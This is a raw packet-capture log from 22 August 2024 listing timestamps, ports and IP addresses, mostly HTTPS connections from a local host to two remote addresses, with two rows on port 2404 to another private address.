Aug 22, 2024 13:10:33.159893036 CEST	49749	443	192.168.2.8	216.58.206.46
Aug 22, 2024 13:10:33.200514078 CEST	443	49749	216.58.206.46	192.168.2.8
Aug 22, 2024 13:10:33.249747992 CEST	443	49750	216.58.206.46	192.168.2.8
Aug 22, 2024 13:10:33.249830008 CEST	49750	443	192.168.2.8	216.58.206.46
Aug 22, 2024 13:10:33.250499964 CEST	443	49750	216.58.206.46	192.168.2.8
Aug 22, 2024 13:10:33.250551939 CEST	49750	443	192.168.2.8	216.58.206.46
Aug 22, 2024 13:10:33.257908106 CEST	49750	443	192.168.2.8	216.58.206.46
Aug 22, 2024 13:10:33.257931948 CEST	443	49750	216.58.206.46	192.168.2.8
Aug 22, 2024 13:10:33.258141994 CEST	443	49750	216.58.206.46	192.168.2.8
Aug 22, 2024 13:10:33.258203983 CEST	49750	443	192.168.2.8	216.58.206.46
Aug 22, 2024 13:10:33.258860111 CEST	49750	443	192.168.2.8	216.58.206.46
Aug 22, 2024 13:10:33.300507069 CEST	443	49750	216.58.206.46	192.168.2.8
Aug 22, 2024 13:10:33.323697090 CEST	443	49751	216.58.212.129	192.168.2.8
Aug 22, 2024 13:10:33.323776007 CEST	49751	443	192.168.2.8	216.58.212.129
Aug 22, 2024 13:10:33.324306965 CEST	49751	443	192.168.2.8	216.58.212.129
Aug 22, 2024 13:10:33.324321032 CEST	443	49751	216.58.212.129	192.168.2.8
Aug 22, 2024 13:10:33.324630976 CEST	49751	443	192.168.2.8	216.58.212.129
Aug 22, 2024 13:10:33.324636936 CEST	443	49751	216.58.212.129	192.168.2.8
Aug 22, 2024 13:10:33.498416901 CEST	443	49749	216.58.206.46	192.168.2.8
Aug 22, 2024 13:10:33.498473883 CEST	49749	443	192.168.2.8	216.58.206.46
Aug 22, 2024 13:10:33.498497009 CEST	443	49749	216.58.206.46	192.168.2.8
Aug 22, 2024 13:10:33.498553038 CEST	49749	443	192.168.2.8	216.58.206.46
Aug 22, 2024 13:10:33.498766899 CEST	49749	443	192.168.2.8	216.58.206.46
Aug 22, 2024 13:10:33.498835087 CEST	443	49749	216.58.206.46	192.168.2.8
Aug 22, 2024 13:10:33.498883963 CEST	49749	443	192.168.2.8	216.58.206.46
Aug 22, 2024 13:10:33.499424934 CEST	49757	443	192.168.2.8	216.58.206.46
Aug 22, 2024 13:10:33.499475002 CEST	443	49757	216.58.206.46	192.168.2.8
Aug 22, 2024 13:10:33.499558926 CEST	49757	443	192.168.2.8	216.58.206.46
Aug 22, 2024 13:10:33.500119925 CEST	49757	443	192.168.2.8	216.58.206.46
Aug 22, 2024 13:10:33.500139952 CEST	443	49757	216.58.206.46	192.168.2.8
Aug 22, 2024 13:10:33.515537024 CEST	443	49753	216.58.212.129	192.168.2.8
Aug 22, 2024 13:10:33.515600920 CEST	49753	443	192.168.2.8	216.58.212.129
Aug 22, 2024 13:10:33.516601086 CEST	49753	443	192.168.2.8	216.58.212.129
Aug 22, 2024 13:10:33.516613007 CEST	443	49753	216.58.212.129	192.168.2.8
Aug 22, 2024 13:10:33.516829014 CEST	49753	443	192.168.2.8	216.58.212.129
Aug 22, 2024 13:10:33.516834974 CEST	443	49753	216.58.212.129	192.168.2.8
Aug 22, 2024 13:10:33.640700102 CEST	443	49750	216.58.206.46	192.168.2.8
Aug 22, 2024 13:10:33.640772104 CEST	49750	443	192.168.2.8	216.58.206.46
Aug 22, 2024 13:10:33.640794992 CEST	443	49750	216.58.206.46	192.168.2.8
Aug 22, 2024 13:10:33.640801907 CEST	443	49750	216.58.206.46	192.168.2.8
Aug 22, 2024 13:10:33.640857935 CEST	49750	443	192.168.2.8	216.58.206.46
Aug 22, 2024 13:10:33.641143084 CEST	49750	443	192.168.2.8	216.58.206.46
Aug 22, 2024 13:10:33.641155958 CEST	443	49750	216.58.206.46	192.168.2.8
Aug 22, 2024 13:10:33.641901016 CEST	49758	443	192.168.2.8	216.58.206.46
Aug 22, 2024 13:10:33.641938925 CEST	443	49758	216.58.206.46	192.168.2.8
Aug 22, 2024 13:10:33.641994953 CEST	49758	443	192.168.2.8	216.58.206.46
Aug 22, 2024 13:10:33.642340899 CEST	49758	443	192.168.2.8	216.58.206.46
Aug 22, 2024 13:10:33.642360926 CEST	443	49758	216.58.206.46	192.168.2.8
Aug 22, 2024 13:10:33.817096949 CEST	443	49751	216.58.212.129	192.168.2.8
Aug 22, 2024 13:10:33.817147017 CEST	443	49751	216.58.212.129	192.168.2.8
Aug 22, 2024 13:10:33.817163944 CEST	49751	443	192.168.2.8	216.58.212.129
Aug 22, 2024 13:10:33.817187071 CEST	443	49751	216.58.212.129	192.168.2.8
Aug 22, 2024 13:10:33.817200899 CEST	49751	443	192.168.2.8	216.58.212.129
Aug 22, 2024 13:10:33.817230940 CEST	49751	443	192.168.2.8	216.58.212.129
Aug 22, 2024 13:10:33.817236900 CEST	443	49751	216.58.212.129	192.168.2.8
Aug 22, 2024 13:10:33.817254066 CEST	443	49751	216.58.212.129	192.168.2.8
Aug 22, 2024 13:10:33.817270994 CEST	49751	443	192.168.2.8	216.58.212.129
Aug 22, 2024 13:10:33.817305088 CEST	49751	443	192.168.2.8	216.58.212.129
Aug 22, 2024 13:10:33.818151951 CEST	49751	443	192.168.2.8	216.58.212.129
Aug 22, 2024 13:10:33.818167925 CEST	443	49751	216.58.212.129	192.168.2.8
Aug 22, 2024 13:10:33.818923950 CEST	49759	443	192.168.2.8	216.58.212.129
Aug 22, 2024 13:10:33.818952084 CEST	443	49759	216.58.212.129	192.168.2.8
Aug 22, 2024 13:10:33.819015026 CEST	49759	443	192.168.2.8	216.58.212.129
Aug 22, 2024 13:10:33.819236040 CEST	49759	443	192.168.2.8	216.58.212.129
Aug 22, 2024 13:10:33.819247007 CEST	443	49759	216.58.212.129	192.168.2.8
Aug 22, 2024 13:10:33.988603115 CEST	443	49753	216.58.212.129	192.168.2.8
Aug 22, 2024 13:10:33.988658905 CEST	443	49753	216.58.212.129	192.168.2.8
Aug 22, 2024 13:10:33.988687038 CEST	49753	443	192.168.2.8	216.58.212.129
Aug 22, 2024 13:10:33.988714933 CEST	443	49753	216.58.212.129	192.168.2.8
Aug 22, 2024 13:10:33.988728046 CEST	49753	443	192.168.2.8	216.58.212.129
Aug 22, 2024 13:10:33.988753080 CEST	49753	443	192.168.2.8	216.58.212.129
Aug 22, 2024 13:10:33.989631891 CEST	49753	443	192.168.2.8	216.58.212.129
Aug 22, 2024 13:10:33.989675999 CEST	443	49753	216.58.212.129	192.168.2.8
Aug 22, 2024 13:10:33.989727020 CEST	49753	443	192.168.2.8	216.58.212.129
Aug 22, 2024 13:10:33.990226030 CEST	49760	443	192.168.2.8	216.58.212.129
Aug 22, 2024 13:10:33.990274906 CEST	443	49760	216.58.212.129	192.168.2.8
Aug 22, 2024 13:10:33.990391016 CEST	49760	443	192.168.2.8	216.58.212.129
Aug 22, 2024 13:10:33.990573883 CEST	49760	443	192.168.2.8	216.58.212.129
Aug 22, 2024 13:10:33.990590096 CEST	443	49760	216.58.212.129	192.168.2.8
Aug 22, 2024 13:10:34.141849995 CEST	443	49757	216.58.206.46	192.168.2.8
Aug 22, 2024 13:10:34.141916037 CEST	49757	443	192.168.2.8	216.58.206.46
Aug 22, 2024 13:10:34.142437935 CEST	49757	443	192.168.2.8	216.58.206.46
Aug 22, 2024 13:10:34.142447948 CEST	443	49757	216.58.206.46	192.168.2.8
Aug 22, 2024 13:10:34.144191980 CEST	49757	443	192.168.2.8	216.58.206.46
Aug 22, 2024 13:10:34.144205093 CEST	443	49757	216.58.206.46	192.168.2.8
Aug 22, 2024 13:10:34.288173914 CEST	443	49758	216.58.206.46	192.168.2.8
Aug 22, 2024 13:10:34.288302898 CEST	49758	443	192.168.2.8	216.58.206.46
Aug 22, 2024 13:10:34.289011002 CEST	49758	443	192.168.2.8	216.58.206.46
Aug 22, 2024 13:10:34.289011002 CEST	49758	443	192.168.2.8	216.58.206.46
Aug 22, 2024 13:10:34.289020061 CEST	443	49758	216.58.206.46	192.168.2.8
Aug 22, 2024 13:10:34.289040089 CEST	443	49758	216.58.206.46	192.168.2.8
Aug 22, 2024 13:10:34.343622923 CEST	49759	443	192.168.2.8	216.58.212.129
Aug 22, 2024 13:10:34.343672037 CEST	49757	443	192.168.2.8	216.58.206.46
Aug 22, 2024 13:10:34.343684912 CEST	49760	443	192.168.2.8	216.58.212.129
Aug 22, 2024 13:10:34.347714901 CEST	49761	443	192.168.2.8	216.58.206.46
Aug 22, 2024 13:10:34.347747087 CEST	443	49761	216.58.206.46	192.168.2.8
Aug 22, 2024 13:10:34.348017931 CEST	49761	443	192.168.2.8	216.58.206.46
Aug 22, 2024 13:10:34.348211050 CEST	49761	443	192.168.2.8	216.58.206.46
Aug 22, 2024 13:10:34.348222017 CEST	443	49761	216.58.206.46	192.168.2.8
Aug 22, 2024 13:10:34.676088095 CEST	443	49758	216.58.206.46	192.168.2.8
Aug 22, 2024 13:10:34.676235914 CEST	49758	443	192.168.2.8	216.58.206.46
Aug 22, 2024 13:10:34.676251888 CEST	443	49758	216.58.206.46	192.168.2.8
Aug 22, 2024 13:10:34.676392078 CEST	49758	443	192.168.2.8	216.58.206.46
Aug 22, 2024 13:10:34.676392078 CEST	49758	443	192.168.2.8	216.58.206.46
Aug 22, 2024 13:10:34.676444054 CEST	443	49758	216.58.206.46	192.168.2.8
Aug 22, 2024 13:10:34.676614046 CEST	443	49758	216.58.206.46	192.168.2.8
Aug 22, 2024 13:10:34.676687956 CEST	49758	443	192.168.2.8	216.58.206.46
Aug 22, 2024 13:10:34.676687956 CEST	49758	443	192.168.2.8	216.58.206.46
Aug 22, 2024 13:10:34.677181959 CEST	49763	443	192.168.2.8	216.58.212.129
Aug 22, 2024 13:10:34.677189112 CEST	49762	443	192.168.2.8	216.58.206.46
Aug 22, 2024 13:10:34.677216053 CEST	443	49763	216.58.212.129	192.168.2.8
Aug 22, 2024 13:10:34.677216053 CEST	443	49762	216.58.206.46	192.168.2.8
Aug 22, 2024 13:10:34.677325964 CEST	49762	443	192.168.2.8	216.58.206.46
Aug 22, 2024 13:10:34.677325964 CEST	49763	443	192.168.2.8	216.58.212.129
Aug 22, 2024 13:10:34.677551031 CEST	49762	443	192.168.2.8	216.58.206.46
Aug 22, 2024 13:10:34.677563906 CEST	443	49762	216.58.206.46	192.168.2.8
Aug 22, 2024 13:10:34.677757978 CEST	49763	443	192.168.2.8	216.58.212.129
Aug 22, 2024 13:10:34.677772999 CEST	443	49763	216.58.212.129	192.168.2.8
Aug 22, 2024 13:10:34.996340990 CEST	443	49761	216.58.206.46	192.168.2.8
Aug 22, 2024 13:10:34.996891975 CEST	49761	443	192.168.2.8	216.58.206.46
Aug 22, 2024 13:10:34.997118950 CEST	443	49761	216.58.206.46	192.168.2.8
Aug 22, 2024 13:10:34.997277975 CEST	49761	443	192.168.2.8	216.58.206.46
Aug 22, 2024 13:10:34.999727011 CEST	49761	443	192.168.2.8	216.58.206.46
Aug 22, 2024 13:10:34.999735117 CEST	443	49761	216.58.206.46	192.168.2.8
Aug 22, 2024 13:10:34.999965906 CEST	443	49761	216.58.206.46	192.168.2.8
Aug 22, 2024 13:10:35.000370026 CEST	49761	443	192.168.2.8	216.58.206.46
Aug 22, 2024 13:10:35.000654936 CEST	49761	443	192.168.2.8	216.58.206.46
Aug 22, 2024 13:10:35.044529915 CEST	443	49761	216.58.206.46	192.168.2.8
Aug 22, 2024 13:10:35.320313931 CEST	443	49762	216.58.206.46	192.168.2.8
Aug 22, 2024 13:10:35.320415974 CEST	49762	443	192.168.2.8	216.58.206.46
Aug 22, 2024 13:10:35.321125984 CEST	443	49762	216.58.206.46	192.168.2.8
Aug 22, 2024 13:10:35.321223021 CEST	49762	443	192.168.2.8	216.58.206.46
Aug 22, 2024 13:10:35.322841883 CEST	49762	443	192.168.2.8	216.58.206.46
Aug 22, 2024 13:10:35.322851896 CEST	443	49762	216.58.206.46	192.168.2.8
Aug 22, 2024 13:10:35.323105097 CEST	443	49762	216.58.206.46	192.168.2.8
Aug 22, 2024 13:10:35.323167086 CEST	49762	443	192.168.2.8	216.58.206.46
Aug 22, 2024 13:10:35.323549032 CEST	49762	443	192.168.2.8	216.58.206.46
Aug 22, 2024 13:10:35.328166962 CEST	443	49763	216.58.212.129	192.168.2.8
Aug 22, 2024 13:10:35.328263998 CEST	49763	443	192.168.2.8	216.58.212.129
Aug 22, 2024 13:10:35.332552910 CEST	49763	443	192.168.2.8	216.58.212.129
Aug 22, 2024 13:10:35.332561970 CEST	443	49763	216.58.212.129	192.168.2.8
Aug 22, 2024 13:10:35.332803011 CEST	443	49763	216.58.212.129	192.168.2.8
Aug 22, 2024 13:10:35.332976103 CEST	49763	443	192.168.2.8	216.58.212.129
Aug 22, 2024 13:10:35.333391905 CEST	49763	443	192.168.2.8	216.58.212.129
Aug 22, 2024 13:10:35.364530087 CEST	443	49762	216.58.206.46	192.168.2.8
Aug 22, 2024 13:10:35.376508951 CEST	443	49763	216.58.212.129	192.168.2.8
Aug 22, 2024 13:10:35.390587091 CEST	443	49761	216.58.206.46	192.168.2.8
Aug 22, 2024 13:10:35.390667915 CEST	49761	443	192.168.2.8	216.58.206.46
Aug 22, 2024 13:10:35.390681982 CEST	443	49761	216.58.206.46	192.168.2.8
Aug 22, 2024 13:10:35.391912937 CEST	443	49761	216.58.206.46	192.168.2.8
Aug 22, 2024 13:10:35.391988993 CEST	49761	443	192.168.2.8	216.58.206.46
Aug 22, 2024 13:10:35.423407078 CEST	49761	443	192.168.2.8	216.58.206.46
Aug 22, 2024 13:10:35.423422098 CEST	443	49761	216.58.206.46	192.168.2.8
Aug 22, 2024 13:10:35.426868916 CEST	49764	443	192.168.2.8	216.58.212.129
Aug 22, 2024 13:10:35.426911116 CEST	443	49764	216.58.212.129	192.168.2.8
Aug 22, 2024 13:10:35.426994085 CEST	49764	443	192.168.2.8	216.58.212.129
Aug 22, 2024 13:10:35.427198887 CEST	49765	443	192.168.2.8	216.58.206.46
Aug 22, 2024 13:10:35.427232027 CEST	443	49765	216.58.206.46	192.168.2.8
Aug 22, 2024 13:10:35.427289009 CEST	49765	443	192.168.2.8	216.58.206.46
Aug 22, 2024 13:10:35.427820921 CEST	49765	443	192.168.2.8	216.58.206.46
Aug 22, 2024 13:10:35.427834034 CEST	443	49765	216.58.206.46	192.168.2.8
Aug 22, 2024 13:10:35.502201080 CEST	49764	443	192.168.2.8	216.58.212.129
Aug 22, 2024 13:10:35.502222061 CEST	443	49764	216.58.212.129	192.168.2.8
Aug 22, 2024 13:10:35.708280087 CEST	443	49762	216.58.206.46	192.168.2.8
Aug 22, 2024 13:10:35.708380938 CEST	49762	443	192.168.2.8	216.58.206.46
Aug 22, 2024 13:10:35.708395004 CEST	443	49762	216.58.206.46	192.168.2.8
Aug 22, 2024 13:10:35.708446980 CEST	49762	443	192.168.2.8	216.58.206.46
Aug 22, 2024 13:10:35.709310055 CEST	443	49762	216.58.206.46	192.168.2.8
Aug 22, 2024 13:10:35.709357023 CEST	443	49762	216.58.206.46	192.168.2.8
Aug 22, 2024 13:10:35.709399939 CEST	49762	443	192.168.2.8	216.58.206.46
Aug 22, 2024 13:10:35.709399939 CEST	49762	443	192.168.2.8	216.58.206.46
Aug 22, 2024 13:10:35.733171940 CEST	49762	443	192.168.2.8	216.58.206.46
Aug 22, 2024 13:10:35.733191013 CEST	443	49762	216.58.206.46	192.168.2.8
Aug 22, 2024 13:10:35.737623930 CEST	49767	443	192.168.2.8	216.58.206.46
Aug 22, 2024 13:10:35.737652063 CEST	443	49767	216.58.206.46	192.168.2.8
Aug 22, 2024 13:10:35.737808943 CEST	49767	443	192.168.2.8	216.58.206.46
Aug 22, 2024 13:10:35.741477013 CEST	49767	443	192.168.2.8	216.58.206.46
Aug 22, 2024 13:10:35.741491079 CEST	443	49767	216.58.206.46	192.168.2.8
Aug 22, 2024 13:10:35.757235050 CEST	443	49763	216.58.212.129	192.168.2.8
Aug 22, 2024 13:10:35.757282972 CEST	443	49763	216.58.212.129	192.168.2.8
Aug 22, 2024 13:10:35.757366896 CEST	49763	443	192.168.2.8	216.58.212.129
Aug 22, 2024 13:10:35.757385015 CEST	443	49763	216.58.212.129	192.168.2.8
Aug 22, 2024 13:10:35.757390022 CEST	443	49763	216.58.212.129	192.168.2.8
Aug 22, 2024 13:10:35.757446051 CEST	49763	443	192.168.2.8	216.58.212.129
Aug 22, 2024 13:10:35.787178993 CEST	49763	443	192.168.2.8	216.58.212.129
Aug 22, 2024 13:10:35.787201881 CEST	443	49763	216.58.212.129	192.168.2.8
Aug 22, 2024 13:10:35.788254976 CEST	49768	443	192.168.2.8	216.58.212.129
Aug 22, 2024 13:10:35.788297892 CEST	443	49768	216.58.212.129	192.168.2.8
Aug 22, 2024 13:10:35.788355112 CEST	49768	443	192.168.2.8	216.58.212.129
Aug 22, 2024 13:10:35.788994074 CEST	49768	443	192.168.2.8	216.58.212.129
Aug 22, 2024 13:10:35.789010048 CEST	443	49768	216.58.212.129	192.168.2.8
Aug 22, 2024 13:10:36.068408012 CEST	443	49765	216.58.206.46	192.168.2.8
Aug 22, 2024 13:10:36.068474054 CEST	49765	443	192.168.2.8	216.58.206.46
Aug 22, 2024 13:10:36.069067955 CEST	49765	443	192.168.2.8	216.58.206.46
Aug 22, 2024 13:10:36.069078922 CEST	443	49765	216.58.206.46	192.168.2.8
Aug 22, 2024 13:10:36.071083069 CEST	49765	443	192.168.2.8	216.58.206.46
Aug 22, 2024 13:10:36.071088076 CEST	443	49765	216.58.206.46	192.168.2.8
Aug 22, 2024 13:10:36.184010029 CEST	443	49764	216.58.212.129	192.168.2.8
Aug 22, 2024 13:10:36.184071064 CEST	49764	443	192.168.2.8	216.58.212.129
Aug 22, 2024 13:10:36.184647083 CEST	49764	443	192.168.2.8	216.58.212.129
Aug 22, 2024 13:10:36.184654951 CEST	443	49764	216.58.212.129	192.168.2.8
Aug 22, 2024 13:10:36.184969902 CEST	49764	443	192.168.2.8	216.58.212.129
Aug 22, 2024 13:10:36.184976101 CEST	443	49764	216.58.212.129	192.168.2.8
Aug 22, 2024 13:10:36.382519007 CEST	443	49767	216.58.206.46	192.168.2.8
Aug 22, 2024 13:10:36.382601976 CEST	49767	443	192.168.2.8	216.58.206.46
Aug 22, 2024 13:10:36.383245945 CEST	49767	443	192.168.2.8	216.58.206.46
Aug 22, 2024 13:10:36.383250952 CEST	443	49767	216.58.206.46	192.168.2.8
Aug 22, 2024 13:10:36.383459091 CEST	49767	443	192.168.2.8	216.58.206.46
Aug 22, 2024 13:10:36.383465052 CEST	443	49767	216.58.206.46	192.168.2.8
Aug 22, 2024 13:10:36.442387104 CEST	443	49768	216.58.212.129	192.168.2.8
Aug 22, 2024 13:10:36.442466021 CEST	49768	443	192.168.2.8	216.58.212.129
Aug 22, 2024 13:10:36.443509102 CEST	49768	443	192.168.2.8	216.58.212.129
Aug 22, 2024 13:10:36.443520069 CEST	443	49768	216.58.212.129	192.168.2.8
Aug 22, 2024 13:10:36.444495916 CEST	49768	443	192.168.2.8	216.58.212.129
Aug 22, 2024 13:10:36.444502115 CEST	443	49768	216.58.212.129	192.168.2.8
Aug 22, 2024 13:10:36.450563908 CEST	443	49765	216.58.206.46	192.168.2.8
Aug 22, 2024 13:10:36.451750994 CEST	49765	443	192.168.2.8	216.58.206.46
Aug 22, 2024 13:10:36.451765060 CEST	443	49765	216.58.206.46	192.168.2.8
Aug 22, 2024 13:10:36.451813936 CEST	49765	443	192.168.2.8	216.58.206.46
Aug 22, 2024 13:10:36.452791929 CEST	443	49765	216.58.206.46	192.168.2.8
Aug 22, 2024 13:10:36.452831984 CEST	443	49765	216.58.206.46	192.168.2.8
Aug 22, 2024 13:10:36.452843904 CEST	49765	443	192.168.2.8	216.58.206.46
Aug 22, 2024 13:10:36.452874899 CEST	49765	443	192.168.2.8	216.58.206.46
Aug 22, 2024 13:10:36.453509092 CEST	49765	443	192.168.2.8	216.58.206.46
Aug 22, 2024 13:10:36.453521967 CEST	443	49765	216.58.206.46	192.168.2.8
Aug 22, 2024 13:10:36.454638004 CEST	49769	443	192.168.2.8	216.58.206.46
Aug 22, 2024 13:10:36.454655886 CEST	443	49769	216.58.206.46	192.168.2.8
Aug 22, 2024 13:10:36.454721928 CEST	49769	443	192.168.2.8	216.58.206.46
Aug 22, 2024 13:10:36.455189943 CEST	49769	443	192.168.2.8	216.58.206.46
Aug 22, 2024 13:10:36.455199957 CEST	443	49769	216.58.206.46	192.168.2.8
Aug 22, 2024 13:10:36.635051012 CEST	443	49764	216.58.212.129	192.168.2.8
Aug 22, 2024 13:10:36.635103941 CEST	443	49764	216.58.212.129	192.168.2.8
Aug 22, 2024 13:10:36.635128975 CEST	49764	443	192.168.2.8	216.58.212.129
Aug 22, 2024 13:10:36.635145903 CEST	443	49764	216.58.212.129	192.168.2.8
Aug 22, 2024 13:10:36.635162115 CEST	49764	443	192.168.2.8	216.58.212.129
Aug 22, 2024 13:10:36.635199070 CEST	49764	443	192.168.2.8	216.58.212.129
Aug 22, 2024 13:10:36.635207891 CEST	443	49764	216.58.212.129	192.168.2.8
Aug 22, 2024 13:10:36.635217905 CEST	443	49764	216.58.212.129	192.168.2.8
Aug 22, 2024 13:10:36.635263920 CEST	49764	443	192.168.2.8	216.58.212.129
Aug 22, 2024 13:10:36.636161089 CEST	49764	443	192.168.2.8	216.58.212.129
Aug 22, 2024 13:10:36.636178970 CEST	443	49764	216.58.212.129	192.168.2.8
Aug 22, 2024 13:10:36.636986971 CEST	49772	443	192.168.2.8	216.58.212.129
Aug 22, 2024 13:10:36.637033939 CEST	443	49772	216.58.212.129	192.168.2.8
Aug 22, 2024 13:10:36.637111902 CEST	49772	443	192.168.2.8	216.58.212.129
Aug 22, 2024 13:10:36.637343884 CEST	49772	443	192.168.2.8	216.58.212.129
Aug 22, 2024 13:10:36.637357950 CEST	443	49772	216.58.212.129	192.168.2.8
Aug 22, 2024 13:10:36.764142036 CEST	443	49767	216.58.206.46	192.168.2.8
Aug 22, 2024 13:10:36.764214039 CEST	49767	443	192.168.2.8	216.58.206.46
Aug 22, 2024 13:10:36.764224052 CEST	443	49767	216.58.206.46	192.168.2.8
Aug 22, 2024 13:10:36.764235973 CEST	443	49767	216.58.206.46	192.168.2.8
Aug 22, 2024 13:10:36.764280081 CEST	49767	443	192.168.2.8	216.58.206.46
Aug 22, 2024 13:10:36.764898062 CEST	49767	443	192.168.2.8	216.58.206.46
Aug 22, 2024 13:10:36.764909983 CEST	443	49767	216.58.206.46	192.168.2.8
Aug 22, 2024 13:10:36.765583992 CEST	49773	443	192.168.2.8	216.58.206.46
Aug 22, 2024 13:10:36.765604019 CEST	443	49773	216.58.206.46	192.168.2.8
Aug 22, 2024 13:10:36.765783072 CEST	49773	443	192.168.2.8	216.58.206.46
Aug 22, 2024 13:10:36.766146898 CEST	49773	443	192.168.2.8	216.58.206.46
Aug 22, 2024 13:10:36.766158104 CEST	443	49773	216.58.206.46	192.168.2.8
Aug 22, 2024 13:10:36.875674963 CEST	443	49768	216.58.212.129	192.168.2.8
Aug 22, 2024 13:10:36.875756025 CEST	49768	443	192.168.2.8	216.58.212.129
Aug 22, 2024 13:10:36.875771999 CEST	443	49768	216.58.212.129	192.168.2.8
Aug 22, 2024 13:10:36.876296043 CEST	49768	443	192.168.2.8	216.58.212.129
Aug 22, 2024 13:10:36.876303911 CEST	443	49768	216.58.212.129	192.168.2.8
Aug 22, 2024 13:10:36.876432896 CEST	443	49768	216.58.212.129	192.168.2.8
Aug 22, 2024 13:10:36.876504898 CEST	49768	443	192.168.2.8	216.58.212.129
Aug 22, 2024 13:10:36.922051907 CEST	49768	443	192.168.2.8	216.58.212.129
Aug 22, 2024 13:10:36.922075033 CEST	443	49768	216.58.212.129	192.168.2.8
Aug 22, 2024 13:10:36.922676086 CEST	49774	443	192.168.2.8	216.58.212.129
Aug 22, 2024 13:10:36.922699928 CEST	443	49774	216.58.212.129	192.168.2.8
Aug 22, 2024 13:10:36.922766924 CEST	49774	443	192.168.2.8	216.58.212.129
Aug 22, 2024 13:10:36.923064947 CEST	49774	443	192.168.2.8	216.58.212.129
Aug 22, 2024 13:10:36.923080921 CEST	443	49774	216.58.212.129	192.168.2.8
Aug 22, 2024 13:10:37.118906975 CEST	443	49769	216.58.206.46	192.168.2.8
Aug 22, 2024 13:10:37.118972063 CEST	49769	443	192.168.2.8	216.58.206.46
Aug 22, 2024 13:10:37.119482994 CEST	49769	443	192.168.2.8	216.58.206.46
Aug 22, 2024 13:10:37.119492054 CEST	443	49769	216.58.206.46	192.168.2.8
Aug 22, 2024 13:10:37.119729996 CEST	49769	443	192.168.2.8	216.58.206.46
Aug 22, 2024 13:10:37.119734049 CEST	443	49769	216.58.206.46	192.168.2.8
Aug 22, 2024 13:10:37.281671047 CEST	443	49772	216.58.212.129	192.168.2.8
Aug 22, 2024 13:10:37.281778097 CEST	49772	443	192.168.2.8	216.58.212.129
Aug 22, 2024 13:10:37.282720089 CEST	49772	443	192.168.2.8	216.58.212.129
Aug 22, 2024 13:10:37.282744884 CEST	443	49772	216.58.212.129	192.168.2.8
Aug 22, 2024 13:10:37.284750938 CEST	49772	443	192.168.2.8	216.58.212.129
Aug 22, 2024 13:10:37.284769058 CEST	443	49772	216.58.212.129	192.168.2.8
Aug 22, 2024 13:10:37.436845064 CEST	443	49773	216.58.206.46	192.168.2.8
Aug 22, 2024 13:10:37.436911106 CEST	49773	443	192.168.2.8	216.58.206.46
Aug 22, 2024 13:10:37.438226938 CEST	49773	443	192.168.2.8	216.58.206.46
Aug 22, 2024 13:10:37.438235044 CEST	443	49773	216.58.206.46	192.168.2.8
Aug 22, 2024 13:10:37.438607931 CEST	49773	443	192.168.2.8	216.58.206.46
Aug 22, 2024 13:10:37.438613892 CEST	443	49773	216.58.206.46	192.168.2.8
Aug 22, 2024 13:10:37.509212017 CEST	443	49769	216.58.206.46	192.168.2.8
Aug 22, 2024 13:10:37.511198997 CEST	49769	443	192.168.2.8	216.58.206.46
Aug 22, 2024 13:10:37.511220932 CEST	443	49769	216.58.206.46	192.168.2.8
Aug 22, 2024 13:10:37.511277914 CEST	443	49769	216.58.206.46	192.168.2.8
Aug 22, 2024 13:10:37.511713982 CEST	49769	443	192.168.2.8	216.58.206.46
Aug 22, 2024 13:10:37.521342993 CEST	49769	443	192.168.2.8	216.58.206.46
Aug 22, 2024 13:10:37.521357059 CEST	443	49769	216.58.206.46	192.168.2.8
Aug 22, 2024 13:10:37.522084951 CEST	49775	443	192.168.2.8	216.58.206.46
Aug 22, 2024 13:10:37.522102118 CEST	443	49775	216.58.206.46	192.168.2.8
Aug 22, 2024 13:10:37.522223949 CEST	49775	443	192.168.2.8	216.58.206.46
Aug 22, 2024 13:10:37.522512913 CEST	49775	443	192.168.2.8	216.58.206.46
Aug 22, 2024 13:10:37.522524118 CEST	443	49775	216.58.206.46	192.168.2.8
Aug 22, 2024 13:10:37.568810940 CEST	443	49774	216.58.212.129	192.168.2.8
Aug 22, 2024 13:10:37.568881989 CEST	49774	443	192.168.2.8	216.58.212.129
Aug 22, 2024 13:10:37.569480896 CEST	49774	443	192.168.2.8	216.58.212.129
Aug 22, 2024 13:10:37.569490910 CEST	443	49774	216.58.212.129	192.168.2.8
Aug 22, 2024 13:10:37.569750071 CEST	49774	443	192.168.2.8	216.58.212.129
Aug 22, 2024 13:10:37.569760084 CEST	443	49774	216.58.212.129	192.168.2.8
Aug 22, 2024 13:10:37.614649057 CEST	49715	2404	192.168.2.8	192.168.1.195
Aug 22, 2024 13:10:37.619683981 CEST	2404	49715	192.168.1.195	192.168.2.8
Aug 22, 2024 13:10:37.709074974 CEST	443	49772	216.58.212.129	192.168.2.8
Aug 22, 2024 13:10:37.709129095 CEST	443	49772	216.58.212.129	192.168.2.8
Aug 22, 2024 13:10:37.709228039 CEST	443	49772	216.58.212.129	192.168.2.8
Aug 22, 2024 13:10:37.709250927 CEST	49772	443	192.168.2.8	216.58.212.129
Aug 22, 2024 13:10:37.709358931 CEST	49772	443	192.168.2.8	216.58.212.129
Aug 22, 2024 13:10:37.710139990 CEST	49772	443	192.168.2.8	216.58.212.129
Aug 22, 2024 13:10:37.710177898 CEST	443	49772	216.58.212.129	192.168.2.8
Aug 22, 2024 13:10:37.710760117 CEST	49776	443	192.168.2.8	216.58.212.129
Aug 22, 2024 13:10:37.710793018 CEST	443	49776	216.58.212.129	192.168.2.8
Aug 22, 2024 13:10:37.710932016 CEST	49776	443	192.168.2.8	216.58.212.129
Aug 22, 2024 13:10:37.711355925 CEST	49776	443	192.168.2.8	216.58.212.129
Aug 22, 2024 13:10:37.711371899 CEST	443	49776	216.58.212.129	192.168.2.8
Aug 22, 2024 13:10:37.826037884 CEST	443	49773	216.58.206.46	192.168.2.8
Aug 22, 2024 13:10:37.826111078 CEST	443	49773	216.58.206.46	192.168.2.8
Aug 22, 2024 13:10:37.826246977 CEST	49773	443	192.168.2.8	216.58.206.46
Aug 22, 2024 13:10:37.827027082 CEST	49773	443	192.168.2.8	216.58.206.46
Aug 22, 2024 13:10:37.827042103 CEST	443	49773	216.58.206.46	192.168.2.8
Aug 22, 2024 13:10:37.832730055 CEST	49777	443	192.168.2.8	216.58.206.46
Aug 22, 2024 13:10:37.832741976 CEST	443	49777	216.58.206.46	192.168.2.8
Aug 22, 2024 13:10:37.833115101 CEST	49777	443	192.168.2.8	216.58.206.46
Aug 22, 2024 13:10:37.833810091 CEST	49777	443	192.168.2.8	216.58.206.46
Aug 22, 2024 13:10:37.833821058 CEST	443	49777	216.58.206.46	192.168.2.8
Aug 22, 2024 13:10:38.003424883 CEST	443	49774	216.58.212.129	192.168.2.8
